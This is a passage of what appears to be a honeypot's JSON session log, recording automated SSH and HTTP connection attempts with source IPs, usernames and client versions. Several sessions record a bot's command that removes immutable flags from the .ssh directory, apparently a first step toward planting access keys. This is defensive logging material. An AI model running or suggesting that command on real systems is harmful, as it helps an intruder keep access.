  "transcript_bytes": 0
 },
 {
  "id": "f342cf91-46b6-4663-a6cd-92403fbcd750",
  "name": "amiable-silent-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 58350,
  "username": "cpg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:31:43.457741+00:00",
  "ended_at": "2026-08-26T09:31:44.119534+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "a4163088-8fc5-46a5-a3a4-9e82b6f38ae3",
  "name": "lofty-fabled-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47686,
  "username": "cpg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:31:30.767611+00:00",
  "ended_at": "2026-08-26T09:31:32.691078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba20b235-55ec-4d3e-880c-33098d6f4414",
  "name": "austere-dappled-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56796,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:31:02.362246+00:00",
  "ended_at": "2026-08-26T09:31:03.600025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f42c31d5-fdc9-4393-8d4d-3dad2ae9b044",
  "name": "patient-spirited-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 60074,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:28:20.400638+00:00",
  "ended_at": "2026-08-26T09:28:22.698532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f59a6490-17c5-4402-9793-69829bd17b81",
  "name": "mighty-inland-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52010,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:27:22.245295+00:00",
  "ended_at": "2026-08-26T09:27:23.112135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd42fb8c-8810-4ae2-961b-4407c7b4c73f",
  "name": "peaty-stoic-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 58872,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:26:31.142871+00:00",
  "ended_at": "2026-08-26T09:26:40.154187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c1f6698-5755-41d9-a772-0cda63287b4a",
  "name": "creaky-diligent-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 59822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:18:23.297909+00:00",
  "ended_at": "2026-08-26T09:18:24.030659+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "4990aded-3765-44ea-8b1c-68ebe2f34a7c",
  "name": "distant-reedy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 39530,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:18:09.410071+00:00",
  "ended_at": "2026-08-26T09:18:11.495916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0110727-3232-4384-841c-4bc010337125",
  "name": "lanky-plucky-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.231",
  "src_port": 27278,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:17:16.651161+00:00",
  "ended_at": "2026-08-26T09:17:17.093480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca208eba-2e14-40f7-a8b7-21c128fbb4ae",
  "name": "hollow-tidal-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 55992,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:13:53.179278+00:00",
  "ended_at": "2026-08-26T09:13:55.972444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b3d785e-45cf-4aca-ba91-cb1eb945f318",
  "name": "ivory-graceful-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60562,
  "username": "antigo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:10:02.687123+00:00",
  "ended_at": "2026-08-26T09:10:03.460776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9991b51-df35-4316-aaba-47807a43d913",
  "name": "proud-lucid-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 27890,
  "username": "telecomadmin",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:08:54.238409+00:00",
  "ended_at": "2026-08-26T09:08:54.610279+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15e37f04-f1d2-4e63-8dfc-bae2ba177832",
  "name": "wooded-grassy-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57487,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:08:39.722008+00:00",
  "ended_at": "2026-08-26T09:09:10.816471+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d5a53a6-b4d4-4b8e-b4d5-eb268c08d07f",
  "name": "northern-meadow-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61680,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:08:12.512635+00:00",
  "ended_at": "2026-08-26T09:08:13.374754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bdd909f-3498-4833-ae5e-5553be35be1d",
  "name": "prickly-balmy-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53490,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:04:29.541681+00:00",
  "ended_at": "2026-08-26T09:04:48.358237+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3faac982-ad3b-4c57-82e0-c3393bfaf502",
  "name": "glassy-austere-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62654,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:56:02.458163+00:00",
  "ended_at": "2026-08-26T08:56:23.835302+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7c1d7e6-b9fb-4662-a932-cdaaf2874e30",
  "name": "mottled-frank-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "93.152.221.210",
  "src_port": 30716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:50:29.351306+00:00",
  "ended_at": "2026-08-26T08:50:29.656514+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fedca22-e2fb-432d-a3d3-4e821fa11728",
  "name": "orderly-rustic-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 60654,
  "username": "nazir",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:50:29.093812+00:00",
  "ended_at": "2026-08-26T08:50:29.606696+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91cdc097-e2a6-4542-94ce-8388e3960140",
  "name": "craggy-nautical-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65061,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:44:54.340592+00:00",
  "ended_at": "2026-08-26T08:44:56.450265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "399478f0-81a7-458b-841f-22ccc484649a",
  "name": "windswept-fierce-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 51537,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:40:06.478569+00:00",
  "ended_at": "2026-08-26T08:40:10.305151+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff0ff28a-5dec-40f9-8bd9-784567597855",
  "name": "dapper-rustic-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.23.3.146",
  "src_port": 42388,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:34:36.799375+00:00",
  "ended_at": "2026-08-26T08:34:38.899283+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a076f041-4fbd-45c8-84b7-05bacc6758c0",
  "name": "earnest-quartz-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50488,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:32:40.168147+00:00",
  "ended_at": "2026-08-26T08:32:48.042835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dc9e330-f15c-440b-b7ec-b2fa90180656",
  "name": "gentle-jolly-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52686,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:32:04.272337+00:00",
  "ended_at": "2026-08-26T08:32:04.701822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04316496-0954-4bc2-806f-b1792f038daf",
  "name": "civil-crystal-ermine",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "20.52.41.200",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:31:17.748291+00:00",
  "ended_at": "2026-08-26T08:46:54.076949+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edcb5b3b-8ce1-40a9-abd8-c4d9d187002b",
  "name": "crisp-wandering-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.178.185.141",
  "src_port": 52304,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:30:20.837178+00:00",
  "ended_at": "2026-08-26T08:30:22.894778+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58ab4a16-5dd9-4b19-9b1b-1658879d94f8",
  "name": "subtle-earnest-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 61292,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:21:54.023178+00:00",
  "ended_at": "2026-08-26T08:22:34.380732+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c44124fe-50fc-4303-bda4-b49f6090bb2a",
  "name": "smoky-lawful-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 35322,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:16:34.510507+00:00",
  "ended_at": "2026-08-26T08:16:36.024639+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d8f011f-38c0-4dbb-99f1-1832459ed22e",
  "name": "grumpy-sterling-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.46.58.104",
  "src_port": 58290,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:15:00.056714+00:00",
  "ended_at": "2026-08-26T08:15:02.172215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e1089a0-4a48-4912-bc53-8ed7125d6288",
  "name": "fringed-sandy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 40964,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:08:30.625557+00:00",
  "ended_at": "2026-08-26T08:08:32.904358+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c41b86b-6542-4341-be1a-69b533baa56a",
  "name": "northern-placid-gull",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.166.130.123",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:08:15.521103+00:00",
  "ended_at": "2026-08-26T08:23:53.856674+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9be46860-2ac0-418c-be37-d2cf038ce3ea",
  "name": "valiant-primal-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63659,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:08:02.638930+00:00",
  "ended_at": "2026-08-26T08:08:14.302540+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4eeef54b-ac82-4699-88b1-2a4fe839aae2",
  "name": "bronzed-gloomy-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62676,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:03:03.770650+00:00",
  "ended_at": "2026-08-26T08:03:31.101396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f20ca156-5938-4013-9223-6f3669e2c19f",
  "name": "kindly-vigilant-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.103.117.85",
  "src_port": 46276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T08:00:42.628859+00:00",
  "ended_at": "2026-08-26T08:00:44.518169+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10c096a6-d830-4338-a5e8-b53ab0c3bd95",
  "name": "stoic-pewter-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.103.117.85",
  "src_port": 46272,
  "username": "mk",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T08:00:38.175604+00:00",
  "ended_at": "2026-08-26T08:04:38.682102+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "52e95716-b80a-480b-aabc-1bb7d9d7a77f",
  "name": "hollow-subtle-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 16712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:54:58.267300+00:00",
  "ended_at": "2026-08-26T07:54:59.675662+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2cc761f-aa62-4995-bf53-698fb62acdf3",
  "name": "rugged-dusty-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59252,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:46:52.198875+00:00",
  "ended_at": "2026-08-26T07:47:12.314734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c88daa16-7744-49c5-8b6b-22a872e0fa34",
  "name": "dutiful-brave-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 53266,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:43:19.618884+00:00",
  "ended_at": "2026-08-26T07:43:22.547504+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12684798-a796-47c1-bc09-5cf649c1379c",
  "name": "austere-cunning-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52769,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:41:57.197370+00:00",
  "ended_at": "2026-08-26T07:41:59.658260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d498941-2759-402d-9921-b0e806027240",
  "name": "chilly-ashen-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52617,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:41:54.394843+00:00",
  "ended_at": "2026-08-26T07:41:56.512774+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ee6370b-821b-45b8-9821-3f20c5433657",
  "name": "polar-cosmic-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45166,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:26:32.548874+00:00",
  "ended_at": "2026-08-26T07:26:32.909085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c24006b0-8986-42fe-aeef-4e27b0e93b1a",
  "name": "rapid-forlorn-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.103.117.85",
  "src_port": 48826,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T07:25:54.117484+00:00",
  "ended_at": "2026-08-26T07:29:54.189080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "6234fa8f-3b09-42dc-b3cd-c508dd1d67d8",
  "name": "golden-lonesome-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 49645,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:25:36.837587+00:00",
  "ended_at": "2026-08-26T07:25:39.083658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b74a2ca-1d52-4e81-8306-c4ee0d6a6192",
  "name": "courtly-bronzed-bullfinch",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:24:33.184788+00:00",
  "ended_at": "2026-08-26T07:39:53.346995+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9f7f7c9-8d56-403c-bf9c-c2a341a8c869",
  "name": "upland-prickly-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.103.117.85",
  "src_port": 42556,
  "username": "gecko",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:20:17.270782+00:00",
  "ended_at": "2026-08-26T07:20:19.132215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1377e1a-5130-4be1-a644-1dcb25c94e0e",
  "name": "thorny-primal-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 43806,
  "username": "monte",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:19:56.335178+00:00",
  "ended_at": "2026-08-26T07:19:56.848820+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e655aae-409d-484d-9bdd-9a1b4f5533f0",
  "name": "painted-deft-vicuna",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "67.205.136.48",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:16:33.370374+00:00",
  "ended_at": "2026-08-26T07:31:53.295338+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81d0575a-f321-4fec-8f9c-7a546bf33226",
  "name": "hardy-solemn-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.23.3.146",
  "src_port": 50270,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:15:50.182792+00:00",
  "ended_at": "2026-08-26T07:15:51.466917+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a841b007-c180-4c8f-9ba1-2260cf22f101",
  "name": "murky-solar-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51628,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:14:22.266562+00:00",
  "ended_at": "2026-08-26T07:14:25.241511+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcf78b77-dc3a-468c-8780-eb32d22b55fd",
  "name": "glacial-verdant-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.178.185.141",
  "src_port": 36200,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:11:22.665894+00:00",
  "ended_at": "2026-08-26T07:11:24.594009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e8510c5-ff8d-4b38-990c-6d4941909103",
  "name": "solemn-pristine-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52261,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
